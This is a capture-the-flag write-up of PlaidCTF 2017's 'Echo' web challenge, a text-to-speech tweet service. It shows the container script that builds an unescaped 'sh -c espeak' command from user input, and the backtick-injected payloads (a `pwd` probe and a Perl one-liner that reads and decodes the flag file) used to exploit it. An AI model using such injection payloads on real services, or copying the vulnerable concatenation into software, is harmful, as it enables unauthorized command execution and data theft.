PlaidCTF 2017 - Echo (web 200) Writeup

This challenge presents a webpage with the text "Tweets are 140 characters only!" and input boxes for four tweets. Submitting tweets gives you a page with wav files, one per tweet that contains a text to speech version of the tweet.

The source code for the web front-end was provided. Examining it, you see that the tweets are written to a file:

echo_57f0dd57961caae2fd8b3c080f0e125b.py

85      with open(my_path + "input" ,"w") as f:
86          f.write('\n'.join(tweets))

Also, a flag is expanded and written to a file. This creates a large file (65000b per character of the flag) that needs to be acquired completely to get the flag.

echo_57f0dd57961caae2fd8b3c080f0e125b.py

25 def process_flag (outfile):
26     with open(outfile,'w') as f:
27         for x in flag:
28             c = 0
29             towrite = ''
30             for i in range(65000 - 1):
31                 k = random.randint(0,127)
32                 c = c ^ k
33                 towrite += chr(k)
34 
35             f.write(towrite + chr(c ^ ord(x)))
36     return

Both of these files are passed to a docker container:

echo_57f0dd57961caae2fd8b3c080f0e125b.py

10 docker_cmd = "docker run -m=100M --cpu-period=100000 --cpu-quota=40000 --network=none -v {path}:/share lumjjb/echo_container:latest python run.py"
94      subprocess.call(docker_cmd.format(path=my_path).split())

Finally, the dockerized process must generate the wav files, because they're then converted back in our python code:

echo_57f0dd57961caae2fd8b3c080f0e125b.py

11 convert_cmd = "ffmpeg -i {in_path} -codec:a libmp3lame -qscale:a 2 {out_path}"

echo_57f0dd57961caae2fd8b3c080f0e125b.py

43     for i in range(n):
44         st = os.stat(path + str(i+1) + ".wav")
45         if st.st_size < 5242880:
46             subprocess.call (convert_cmd.format(in_path=path + str(i+1) + ".wav",
47                                          out_path=target_path + str(i+1) + ".wav").split())

So, first step is to get the run.py that is executed in docker. I chose to extract it from the image without actually creating a container. I'm not very well-versed in Docker, so there may be an easier way to do this:

docker pull lumjjb/echo_container
docker save lumjjb/echo_container > echo.tar
tar xvf echo.tar
for l in */layer.tar ; do echo $l ; tar tvf $l ; done | less
tar xvf 8f*/layer.tar run.py

That gives us:

run.py

 1 import sys
 2 from subprocess import call
 3 
 4 import signal
 5 import os
 6 def handler(signum, frame):
 7     os._exit(-1)
 8 
 9 signal.signal(signal.SIGALRM, handler)
10 signal.alarm(30)
11 
12 
13 INPUT_FILE="/share/input"
14 OUTPUT_PATH="/share/out/"
15 
16 def just_saying (fname):
17     with open(fname) as f:
18         lines = f.readlines()
19         i=0
20         for l in lines:
21             i += 1
22 
23             if i == 5:
24                 break
25 
26             l = l.strip()
27 
28             # Do TTS into mp3 file into output path
29             call(["sh","-c",
30                 "espeak " + " -w " + OUTPUT_PATH + str(i) + ".wav \"" + l + "\""])

A quick glance at that shows that it's vulnerable to shell injection in the call to espeak. Submitting a tweet with of `pwd` (using backticks) returns an audio of "slash", confirming.

Since the audio is converted by ffmpeg, we can't just cat the flag file into the output wav files. Instead, I chose to reconstruct the flag within the docker image. After confirming that the docker environment had Perl available, I was off to do some golfing, eventually working up to:

`perl -e 'local$/;$a=<>;$f[$_/65000]^=ord(substr($a,$_,1))for(0..length($a)-1);print join"-",@f' share/flag`

This one-liner reconstructs the flag and prints the decimal ASCII values of each character. Manually transcribed from the audio, it gives:

80-67-84-70-123-76-49-53-115-116-51-110-95-84-48-95-95-114-101-101-101-95-114-101-101-101-101-101-101-95-114-101-101-101-95-108-97-125

which decodes to:

PCTF{L15st3n_T0__reee_reeeeee_reee_la}

Posted on April 23, 2017, 6:31 p.m. by tecknicaltom